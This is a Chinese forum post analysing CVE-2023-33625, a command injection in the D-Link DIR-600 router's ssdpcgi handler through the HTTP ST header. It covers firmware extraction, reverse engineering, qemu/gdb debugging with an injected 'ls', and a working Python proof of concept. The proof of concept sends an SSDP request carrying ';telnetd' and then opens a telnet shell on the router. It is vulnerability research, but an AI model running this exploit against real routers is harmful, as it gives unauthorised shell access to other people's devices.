首页
社区
课程
招聘
[原创]CVE-2023-33625分析
2023-7-31 10:07 10975

[原创]CVE-2023-33625分析

2023-7-31 10:07
10975

描述

D-Link DIR-600 硬件版本 B5、固件版本 2.18 被发现包含通过 lxmldbc_system() 函数中的 ST 参数的命令注入漏洞。

分析

下载链接:

1
https://www.dlinktw.com.tw/techsupport/download.ashx?file=3394

可以直接用binwalk提取文件系统:

1
binwalk -Me DIR-600_Bx_FW218WWb01.bin

描述中漏洞是在xmldbc_system()函数当中,先用grep命令找一下哪些文件中有xmldbc_system这个字符串:

1
grep -rn "./" -e xmldbc_system

结果:

第一个就是要找的二进制文件,一般路由器等等固件的web都是cgi文件,所以这个是最有可能的。用IDA打开,搜索xmldbc_system()这个函数:

直接复制过去后就交给system函数执行了。

查看一下是哪些函数调用了xmldbc_system()函数:

首先是pigwidgeoncgi_main函数:

传入的是硬编码的字符串,不是这里。

接下来是pigwidgeoncgi_main函数:

可以看到所有的都是没进行过滤的,都是直接拼接的字符串,因此存在命令注入。但是还需要a1等于2,找一下主程序,其伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __cdecl main(int argc, const char **argv, const char **envp)
{
  const char *v3; // $s0
  char *v6; // $v0
  int (*v8)(); // $t9
  int v9; // $a0
 
  v3 = *argv;
  v6 = strrchr(*argv, 47);
  if ( v6 )
    v3 = v6 + 1;
  ......
  if ( !strcmp(v3, "ssdpcgi") )
  {
    v8 = (int (*)())ssdpcgi_main;
    v9 = argc;
    return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp);
  }
  ......
  printf("CGI.BIN, unknown command %s\n", v3);
  return 1;
}

可以知道a1指的是参数的个数,也就是通过命令行的方式传一个参数"ssdcgi"就可以了。

利用

调试验证

使用qemu模拟并用gdb调试,使用qemu模拟如下:

1
2
3
4
5
6
sudo chroot . ./qemu-mipsel-static -0 "ssdpcgi" -E REMOTE_ADDR=127.0.0.1 -E SERVER_ID=1 -E REMOTE_PORT=8888 -E HTTP_ST="urn:service:1;ls" -E REQUEST=/ -E REQUEST_METHOD=M-SEARCH -g 12345 ./htdocs/cgibin
# -0 是设置argv[0] 后面的都是设置的env,也就是下面这几个参数
# v2 = getenv("HTTP_ST");
# v3 = getenv("REMOTE_ADDR");
# v5 = getenv("REMOTE_PORT");
# v4 = getenv("SERVER_ID");

设置GDB

1
2
3
4
gdb-multiarch -q
set architecture mips
set endian little
target remote 127.0.0.1:12345

连上以后在0x40E408处下断点,然后:

1
2
c
set $a0=0x2

设置a0寄存器的值的原因是因为在ssdpcgi_main函数中会检查参数个数,必须要等于2,所以设置a0为2过检查。

然后在0x40E5BC处下断点,这里是查看一下是否会进入到service这个分支,因为漏洞是在这个分支的:

执行后执行到了0x40E5BC处,说明参数设置生效了,确实到了这个地方。然后在0x413F2C处下断点,这里是调用system函数的指令,主要是为了查看传给system函数的参数是否是拼接过后的命令,设置完断点后直接执行:

s0寄存器的中的值是拼接上ls命令后的字符串。

模拟

直接使用fat或者fap模拟。

1
python3 fap.py -q ./qemu-builds/2.5.0/ firmwarePath

poc

这个漏洞与CVE-2019-20215挺像的,感觉是一模一样的,因此CVE-2019-20215的poc修改一下就能用,poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import binascii
import sys
import os
import socket
from time import sleep
 
def config_payload(ip, port):
    header = "M-SEARCH * HTTP/1.1\n"
    header += "HOST:"+str(ip)+":"+str(port)+"\n"
    header += "ST:urn:service:1;telnetd\n"
    header += "MX:2\n"
    header += 'MAN:"ssdp:discover"'+"\n\n"
    return header
 
def send_conexion(ip, port, payload):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
    sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2)
    sock.sendto(bytes(payload, encoding="utf8"), (ip, port))
    sock.close()
 
if __name__ == "__main__":
    ip = input("Router IP: ")
    port = 1900
    headers = config_payload(ip, port)
    send_conexion(ip, port, headers)
    sleep(5)
    os.system('telnet ' + str(ip))

引用文章

https://github.com/naihsin/IoT/blob/main/D-Link/DIR-600/cmd%20injection/README.md
https://medium.com/@s1kr10s/d-link-dir-859-unauthenticated-rce-in-ssdpcgi-http-st-cve-2019-20215-en-2e799acb8a73


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2023-7-31 10:41 被mangovo编辑 ,原因: 未选择话题
收藏
点赞5
打赏
分享
最新回复 (1)
雪    币: 12083
活跃值: (15459)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2023-7-31 10:41
2
0
感谢分享
游客
登录 | 注册 方可回帖
返回